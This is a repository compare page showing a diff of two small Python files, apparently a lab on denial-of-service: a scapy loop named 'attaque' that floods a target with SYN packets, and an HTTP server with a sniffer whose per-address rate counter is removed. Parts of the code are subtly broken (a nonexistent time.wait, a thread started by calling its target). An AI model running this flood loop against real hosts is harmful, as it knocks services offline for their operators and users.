Compare commits

..

No commits in common. "63853db6309d62a5d11211eda41f1d828d77ccc6" and "5d1b6fc5cecbcf404754d0907ab5f34ad2e0ac0e" have entirely different histories.

2 changed files with 2 additions and 19 deletions

View file

@ -21,7 +21,7 @@ def attaque():
while True: while True:
requete = L[r.randint(0, 2)] requete = L[r.randint(0, 2)]
paquet = IP(dst=adresse) / TCP(dport=port, sport=RandShort(), flags="S") / Raw(load=requete) paquet = IP(dst=adresse) / TCP(dport=port, sport=RandShort(), flags="S") / Raw(load=requete)
sr1(paquet, verbose=False) sr1(paquet, verbose=True)
if __name__ == "__main__": if __name__ == "__main__":
t1= th.Thread(target=attaque()) t1= th.Thread(target=attaque())

View file

@ -2,29 +2,14 @@ from scapy.all import *
import http.server import http.server
import socketserver import socketserver
import threading import threading
import time
PORT = 80 PORT = 80
Handler = http.server.SimpleHTTPRequestHandler Handler = http.server.SimpleHTTPRequestHandler
http = socketserver.TCPServer(("", PORT), Handler) http = socketserver.TCPServer(("", PORT), Handler)
addresses = {}
def empty_addresses():
while True:
time.wait(1)
addresses.clear()
def handler(pkt): def handler(pkt):
address = pkt[IP].src print(pkt)
if address in addresses.keys():
count = addresses[address]
if count > 30:
print(address, count)
addresses[address] += 1
else:
addresses[address] = 1
def sniff_packets(): def sniff_packets():
sniff(filter=f"tcp port {PORT}", prn=handler) sniff(filter=f"tcp port {PORT}", prn=handler)
@ -32,8 +17,6 @@ def sniff_packets():
if __name__ == "__main__": if __name__ == "__main__":
sniffer = threading.Thread(target=sniff_packets) sniffer = threading.Thread(target=sniff_packets)
sniffer.start() sniffer.start()
emptyer = threading.Thread(target=empty_addresses)
emptyer.start()
http.serve_forever() http.serve_forever()
print("serving at port", PORT) print("serving at port", PORT)